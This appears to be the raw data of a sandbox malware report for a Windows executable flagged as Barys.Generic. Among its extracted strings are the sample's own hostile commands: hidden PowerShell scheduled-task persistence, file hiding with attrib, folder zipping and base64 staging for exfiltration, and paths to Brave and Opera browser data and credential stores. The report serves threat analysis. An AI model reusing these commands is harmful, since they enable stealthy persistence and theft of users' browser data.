26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 89:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Barys.Generic Sample 44e04c004a67… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 44e04c004a67…. Malware family: Barys.Generic. Threat score 100/100. 5/28 AV engines flagged this file. 6 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","keywords":["Malicious","Barys.Generic","malware analysis","sandbox report","threat intelligence","44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837"],"about":{"@type":"SoftwareApplication","name":"MasonClient.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Barys.Generic","antivirusDetections":{"malicious":5,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T810,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found string "$ast = [System.Management.Automation.Language.Parser]::ParseFile(($resolvedPath.ProviderPath), [ref] $null, [ref] $parseErrors)" (Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found string "WS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp")28:T841,file/memory contains long string with (Indicator: "Remove-Item"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "Remove-Item $f -Force" (Indicator: "Remove-Item"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "$z=[IO.Path]::GetTempFileName()+'.zip';Compress-Archive -Path '%s\*' -DestinationPath $z -Force;$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes($z));Remove-Item $z;'DOWNLOAD_DATA:archive.zip:'+$b" (Indicator: "Remove-Item"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "Remove-Item"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "Remove-Item $f -Force" (Indicator: "Remove-Item"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "$z=[IO.Path]::GetTempFileName()+'.zip';Compress-Archive -Path '%s\*' -DestinationPath $z -Force;$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes($z));Remove-Item $z;'DOWNLOAD_DATA:archive.zip:'+$b" (Indicator: "Remove-Item"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "Remove-Item"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "Remove-Item $f -Force" (Indicator: "Remove-Item"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "$z=[IO.Path]::GetTempFileName()+'.zip';Compress-Archive -Path '%s\*' -DestinationPath $z -Force;$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes($z));Remove-Item $z;'DOWNLOAD_DATA:archive.zip:'+$b" (Indicator: "Remove-Item"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp")29:T503,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")2a:T655,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp")2b:T62f,"CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM") "CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "CertEnrollMonitor.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER")2c:Ta2c,"nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -M" - (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "CreateProcessA" with parameter "cmd.exe /c chcp 65001 >nul && attrib +h +s "%APPDATA%\CertEnrollMonitor.exe"" - (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "CreateProcessA" with parameter "cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-Sched" - (UID: 00000000-00007644), "CertEnrollMonitor.exe" called "CreateProcessA" with parameter "cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -Dont" - (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "CreateProcessA" with parameter "cmd.exe /c chcp 65001 >nul && attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" - (UID: 00000000-00007644) "CertEnrollMonitor.exe" called "CreateProcessA" with parameter "cmd.exe /c chcp 65001 >nul && clear" - (UID: 00000000-00007644) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00007368) "cmd.exe" called "CreateProcessW" with parameter "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnr" - (UID: 00000000-00007368), "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00001932), "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\CertEnrollMonitor.exe"" - (UID: 00000000-00001932), "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00005252), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\CertEnrollMonitor.exe';$t=New" - (UID: 00000000-00005252), "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00006936), "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\CertEnrollMonitor.exe"" - (UID: 00000000-00006936), "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00007940), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\CertEnrollMonitor.exe';$t=New" - (UID: 00000000-00007940), "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00005100), "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" - (UID: 00000000-00005100), "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00004276)42:Tcb4a,"nul && %s" (Indicator: "cmd.exe /c"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "cmd.exe /c rmdir /s /q "%s"" (Indicator: "cmd.exe /c"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found string "cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -M" (Indicator: "cmd.exe /c"; Source: "00000000-00007644-00000C46-1124621320") Found string "cmd.exe /c chcp 65001 >nul && attrib +h +s "%APPDATA%\CertEnrollMonitor.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007644-00000C46-26166847077") Found string "cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-Sched" (Indicator: "cmd.exe /c"; Source: "00000000-00007644-00000C46-27853796342"), Found string "cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -Dont" (Indicator: "cmd.exe /c"; Source: "00000000-00007644-00000C46-53398173462") Found string "cmd.exe /c chcp 65001 >nul && attrib +h +s "%APPDATA%\Microsoft\Credentials\CertEnrollMonitor.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007644-00000C46-77620041308") Found string "cmd.exe /c chcp 65001 >nul && clear" (Indicator: "cmd.exe /c"; Source: "00000000-00007644-00000C46-318327587148") Found string "cmd.exe /c chcp 65001 >nul && %s" (Indicator: "cmd.exe /c"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "cmd.exe /c rmdir /s /q "%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found string "cmd.exe /c chcp 65001 >nul && %s" (Indicator: "cmd.exe /c"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") Found string "cmd.exe /c rmdir /s /q "%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp")47:T4e2,Found reference to API "MoveFileA" (Indicator: "MoveFile"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")48:T50c,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004528.00000000.218376.34CD9000.00000004.mdmp")49:T2e1f,"HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "\BraveSoftware\Brave-Browser\User Data" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "%s\Opera Software\Opera Stable" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "%s\Opera Software\Opera Stable\Local State" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00000808.00000000.225310.26840000.00000004.mdmp 00000000-00002300.00000000.224306.82F40000.00000004.mdmp 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp 00000000-00003624.00000000.223202.7A340000.00000004.mdmp 00000000-00003832.00000000.219997.B8A00000.00000004.mdmp 00000000-00004136.00000000.221633.B1380000.00000004.mdmp 00000000-00004712.00000000.221050.2B540000.00000004.mdmp 00000000-00005596.00000000.220574.C0940000.00000004.mdmp 00000000-00006268.00000000.222670.E32E0000.00000004.mdmp 00000000-00006888.00000000.224779.B92A0000.00000004.mdmp 00000000-00006900.00000000.224254.983C0000.00000004.mdmp 00000000-00007468.00000000.222162.8D290000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00002300.00000000.224306.82F40000.00000004.mdmp 00000000-00002464.00000000.220532.A5C10000.00000004.mdmp 00000000-00003676.00000000.223726.533B0000.00000004.mdmp 00000000-00004712.00000000.221050.2B540000.00000004.mdmp 00000000-00005596.00000000.220574.C0940000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00002464.00000000.220532.3BD34000.00000002.mdmp 00000000-00005556.00000000.221580.F5550000.00000004.mdmp 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00002920.00000000.218957.34CB4000.00000002.mdmp 